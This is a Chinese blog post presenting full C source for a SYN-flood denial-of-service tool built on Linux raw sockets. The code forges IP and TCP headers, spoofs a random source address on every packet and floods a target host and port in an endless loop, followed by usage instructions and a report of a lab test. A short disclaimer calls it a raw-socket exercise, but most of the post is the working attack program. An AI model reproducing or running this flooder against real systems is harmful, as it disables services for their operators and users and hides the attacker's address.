Linux拓展应用之原始套接字实现DOS攻击

在这里插入图片描述

以下代码实现了使用原始套接字进行DOS攻击的程序,主要用于联系原始套接字的使用,读者切勿使用该程序,去攻击任何主机。
DOS攻击的实现原理是,使用程序,有意去破坏TCP的三次握手,并不断向目标主机发送一个基于TCP的数据包,且该数据包是SYN类型,数据包中的源IP地址为一个随机IP地址,这将导致目标主机收到SYN包之后,一直无法完成3次握手,从而导致系统资源的浪费。
源码如下:

#include <errno.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <stdio.h>

 unsigned short check_sum(unsigned short* addr,int len)
 {
	 register int nleft =len;
	 register int sum = 0;
	 register short *w=addr;
	 short answer = 0;
	 while(nleft>1)
	 {
		 sum+=*w++;
		 nleft-=2;
	 }
	 
	 if(nleft == 1)
	 {
		 *(unsigned char*)(&answer)=*(unsigned char*)w;
		 sum+=answer;
	 }
	 
	 sum = (sum>>16)+(sum&0xffff);
	 sum+=(sum>>16);
	 answer = ~sum;
	 return answer;
	 
 }
void send_data(int sockfd,struct sockaddr_in * addr,int port)
{
	char buf[1024];
	struct iphdr* ip;
	struct tcphdr* tcp;
	int head_len;
	
	head_len = sizeof(struct iphdr)+sizeof(struct tcphdr);  /*SYN包不包含用户数据,即获取整个数据包长度*/
	memset(buf,0,sizeof(buf));
	
	ip = (struct iphdr*)buf;
	ip->version = IPVERSION;              /*IP版本*/                 
	ip->ihl = sizeof(struct ip)>>2;       /*IP包头长度*/
	ip->tos=0;                            /*服务类型*/
	ip->tot_len = htons(head_len);        /*IP数据包长度*/
	ip->id =0;                            
	ip->frag_off = 0;       
	ip->ttl = MAXTTL;                     /*TTL时间*/
	ip->protocol = IPPROTO_TCP;           /*协议为TCP*/
	ip->check = 0;                        /*检验和,后面赋值*/
	ip->daddr = addr->sin_addr.s_addr;    /*目标主机IP*/
	
	tcp = (struct tcphdr*)(buf+sizeof(struct ip));
	tcp->source = htons(port);            /*本地发送端端口*/  
	tcp->dest = addr->sin_port;			  /*目标主机端口*/  
	tcp->seq= random();                   /*随机的序列号,打破三次捂手*/  
	tcp->ack_seq = 0;                     /*不回应ack*/ 
	tcp->doff = 5;			
	tcp->syn=1;							   /*数据类型为SYN请求*/ 				
	while(1)
	{
		ip->saddr = random();              /*计算校验和*/
		tcp->check = check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
		sendto(sockfd,buf,head_len,0,(struct sockaddr*)addr,(socklen_t)sizeof(struct sockaddr_in));
	
	}
	
}

/*
程序运行需要传入3个参数,分别为目标主机的IP地址或域名,目标主机的端口号,本机发送端端口号
例如:./a.out 192.168.103.108  8000  8888
*/
int main(int argc,char* argv[])
{
	int sockfd = 0;
	int port = 0;
	struct sockaddr_in addr;
	struct hostent* host;
	int on = 1;
	if(argc != 4)
	{
		printf("input err!ag:./a.out 192.168.103.108  8000  8888\n");
		exit(1);
	}
	
	memset(&addr,0,sizeof(struct sockaddr_in));
	
	addr.sin_family = AF_INET;                      /*IPV4协议*/
	if(inet_aton(argv[1],&addr.sin_addr) == 0)      /*获取IP地址的主机名,攻击使用第一个IP*/
	{
		host = gethostbyname(argv[1]);
		if(NULL == host)
		{
			printf("gethostbyname fail!\n");
			exit(1);
		}
		addr.sin_addr = *(struct in_addr*)(host->h_addr_list[0]);
	}
	
	port = atoi(argv[2]);
	addr.sin_port = htons(port);
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   /*创建基于TCP的原始套接字*/
	if(sockfd < 0)
	{
		printf("socker fail!\n");
		return -1;
	}
	
	setsockopt(sockfd,IPPROTO_TCP,IP_HDRINCL,&on,sizeof(on));/*设置套接字的属性为自己构建IP头*/
	
	port = atoi(argv[3]);
	send_data(sockfd,&addr,port);                            /*发送SYN包*/
	
	
	return 0;
}

若想验证结果,可使用 Wireshark进行抓包即可!我是使用虚拟机(192.168.103.128)攻击主机(192.168.103.108)的,从图中可以看到,主机收到了很多SYN包。

这里写图片描述
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Chiang木

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值